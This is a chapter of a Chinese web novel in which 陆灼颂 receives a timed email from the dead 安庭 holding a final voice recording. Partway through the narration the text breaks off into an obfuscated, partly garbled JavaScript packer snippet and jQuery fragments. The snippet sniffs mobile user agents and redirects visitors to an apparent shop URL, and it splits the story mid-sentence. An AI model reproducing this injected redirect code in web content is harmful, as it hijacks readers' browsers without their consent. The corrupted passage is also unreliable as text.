5. 真相
个工作邮箱。知道这个邮箱的人也没多少,就那么几个。

    陆灼颂凑过去一看,果然,是邮箱收到了个邮件。

    他心不在焉地点进了那封邮件里。

    这邮件,其实他前几天开机时就已经收到了,但陆灼颂懒得开,这么多天都没管。这个特殊时期,谁有心思管这狗屁工作邮件。

    但这会儿他心太乱,乱得像团麻。脑子里正控制不住地乱七八糟胡思乱想着,也没有自己在干什么的自觉,就这么迷迷瞪瞪地点进去了。

    网页打开,进了邮箱收件箱的界面。

    一看见发件人,陆灼颂猛地回过神。

    安庭。

    *

    已经死了的安庭,给他发了邮件。

    外头天光大亮,日光晴朗,落地窗的窗沿把阳光切割成一块四四方方的形状,投进客厅里,照在陆灼颂身边不远处。

    陆灼颂坐在阴影的地方里,坐在电脑前,手指突然僵得没法动弹。他盯着发件人的名字,几乎要把那两个字瞪出个洞。

    是安庭。

    真的是安庭。

    好久,他才逐渐缓过来些。他咽了口口水,僵着手指,点进了邮件里。

    邮件是定时发送的,在安庭死的第二天中午就发了过来。

    里面什么都没写,只发来一个文件。

    是一段录音。

    陆灼颂脑子都发僵了,没多想,直接打开了那段录音。

    音频文件跳了出来,开始播放。

    开头,是一小段的窸窸窣窣,而后是一声安庭轻轻的叹息。

    “阿灼。”

    安庭叫他,声音沙哑,像被药液泡毁了。

    陆灼颂心脏猛地一抽搐,啪地点了暂停。

    他连滚带爬地爬起来,跑去找了耳机,又连滚带爬地跑回来。连上耳机后,他把耳机戴到头上,动作小心、谨慎,又没来由地珍重。

    陆灼颂伸出手,指尖都在抖。他咽了几口口水,终于,重重摁下播放。

    录音的进度条,又往前行进。

    陆灼颂摁着耳机,死命地把安庭最后的声音往自己耳朵里压。

    于是,声音只在他耳边响起。

    客厅里,电视上悼词依旧,外头吹起了风,家里的老式挂钟,依然滴答滴答。

    呼地一声,外头骤然大风起。

    陆灼颂脸色陡然一变。

    滴答。

    滴答。

    滴答。

    挂钟在一秒、一秒的走。

    分针往下掉了一小段,外头投进来的日光也往屋子里又投深了些。一群飞鸟飞过空中,楼下十字路口的红绿灯交换了几个来回,日光终于缓缓地漫到了陆灼颂

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16871257|191851||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    身上。

    录音走到了尽头,安庭说完了最后一句话。

    陆灼颂死寂愕然的脸,在日光底下,被一寸寸曝开。

    半晌,他终于伸出手,缓缓地将头上的耳机摘了下来,脸色已然惨白,再无一丝一毫的血色。

    电视机的声音,重新回到他耳里。

    依然是他父亲的声音。

   

本章未完,请点击下一页继续阅读>>